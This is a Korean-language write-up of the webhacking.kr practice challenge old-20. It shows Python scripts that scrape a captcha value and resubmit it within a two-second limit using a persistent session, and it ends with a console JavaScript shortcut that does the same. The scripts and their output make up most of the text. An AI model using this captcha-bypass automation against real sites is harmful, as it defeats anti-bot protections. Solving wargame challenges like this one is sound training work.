Write-Up
nickname, comment, captcha를 서버로 전송해야 한다. 하지만 제한 시간은 2초이고, 직접 captcha를 입력해 submit 하기에는 시간이 부족하다고 생각된다. 그래서 크롤링 후 주어진 captcha를 post로 전달해야겠다고 생각했고, 아래와 같은 코드를 작성하였다.
먼저 크롤링을 위한 코드이다.
import requests
from bs4 import BeautifulSoup
url = 'https://webhacking.kr/challenge/code-4/'
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
captcha_button = soup.find('input', {'name': 'captcha_'})
captcha_value = captcha_button['value']
print("captcha value:", captcha_value)
else:
print("Failed to retrieve the webpage. Status code:", response.status_code)
captcha 값을 크롤링했으니, 아래와 같은 코드로 post 전송을 시도해 보았다.
##################################### 실패 코드 ##########################################
import requests
from bs4 import BeautifulSoup
url = 'https://webhacking.kr/challenge/code-4/'
response = requests.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
captcha_button = soup.find('input', {'name': 'captcha_'})
captcha_value = captcha_button['value']
print("captcha value:", captcha_value)
else:
print("Failed to retrieve the webpage. Status code:", response.status_code)
datas = {
'id':'1',
'cmt':'1',
'captcha':captcha_value
}
cookies = {'PHPSESSID':'f71cpm67b9hi63qgfp7itlbh07','st':'1711515563'}
print('========================')
http_post_response = requests.post(url,data=datas,cookies=cookies)
print(http_post_response.text)
위 코드의 결과는 아래와 같았다.
captcha value: cbTQIyDQxE
========================
Wrong Captcha
Wrong Captcha가 나온 이유는 처음 크롤링 시에는 cookie 값이 전달되지 않았다. 즉 크롤링해 온 captcha 값이 내 페이지의 captcha 값과 다를 수 있음을 의미한다.
추가적으로 Wrong Captcha가 나온 경우가 있었는데, lv5frm.captcha_.value = '123'과 같이 인위적으로 주어진 captcha 값을 변경 후, 2초 이내에 form 제출 시 Wrong이 반환된다.
아래는 다음으로 작성한 코드이다.
################################### 실패 코드 #########################################
import requests
from bs4 import BeautifulSoup
url = 'https://webhacking.kr/challenge/code-4/'
cookies = {'PHPSESSID':'f71cpm67b9hi63qgfp7itlbh07','st':'1711515563'}
response = requests.get(url,cookies=cookies)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
captcha_button = soup.find('input', {'name': 'captcha_'})
captcha_value = captcha_button['value']
print("captcha value:", captcha_value)
else:
print("Failed to retrieve the webpage. Status code:", response.status_code)
datas = {
'id':'1',
'cmt':'1',
'captcha':captcha_value
}
print('========================')
http_post_response = requests.post(url,data=datas,cookies=cookies)
print(http_post_response.text)
위 코드의 결과는 아래와 같았다.
captcha value: oNKOdFhXXu
========================
Too Slow...<meta http-equiv=refresh content=3>
captcha 값이 틀리지는 않았으나, 2초 이내에 전달되지 않은 듯하다. 그 이유는 session이 지속적으로 유지되지 않으며, 다시 맺는 과정에서 시간을 초과했다고 생각한다.
다시 작성한 코드는 아래와 같다. ( 정답 코드이다. )
########################################## 정답 코드 ####################################
import requests
from bs4 import BeautifulSoup
url = 'https://webhacking.kr/challenge/code-4/'
cookies = {'PHPSESSID': 'f71cpm67b9hi63qgfp7itlbh07', 'st': '1711513495'}
session = requests.Session()
session.cookies.update(cookies)
response = session.get(url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
captcha_button = soup.find('input', {'name': 'captcha_'})
captcha_value = captcha_button['value']
print("captcha value:", captcha_value)
else:
print("Failed to retrieve the webpage. Status code:", response.status_code)
datas = {
'id': '1',
'cmt': '1',
'captcha': captcha_value
}
print('========================')
http_post_response = session.post(url, data=datas)
print(http_post_response.text)
################################################ 정답 코드2 #################################
import requests
from bs4 import BeautifulSoup
url = 'https://webhacking.kr/challenge/code-4/'
session = requests.Session()
cookies = {'PHPSESSID': 'f71cpm67b9hi63qgfp7itlbh07', 'st': '1711513495'}
response = session.get(url, cookies=cookies)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
captcha_button = soup.find('input', {'name': 'captcha_'})
captcha_value = captcha_button['value']
print("captcha value:", captcha_value)
datas = {
'id': '1',
'cmt': '1',
'captcha': captcha_value
}
print('========================')
http_post_response = session.post(url, data=datas,cookies=cookies) # cookies=cookies 추가로 session 유지
print(http_post_response.text)
session.close()
else:
print("Failed to retrieve the webpage. Status code:", response.status_code)
captcha value: 9nBf1BvGJT
========================
<script>alert('old-20 Pwned!');</script><hr>old-20 Pwned. You got 20point. Congratz!<hr>
문제를 푸는 다른 방법
생각보다 간단히 해당 문제를 해결할 수 있었다.
lv5frm.id.value="1";
lv5frm.cmt.value="1";
lv5frm.captcha.value=lv5frm.captcha_.value;
lv5frm.submit();
해당 코드를 Console 창에 미리 입력해 둔 뒤, 새로고침 후 빠르게 입력(엔터)을 하면, 문제를 해결할 수 있다.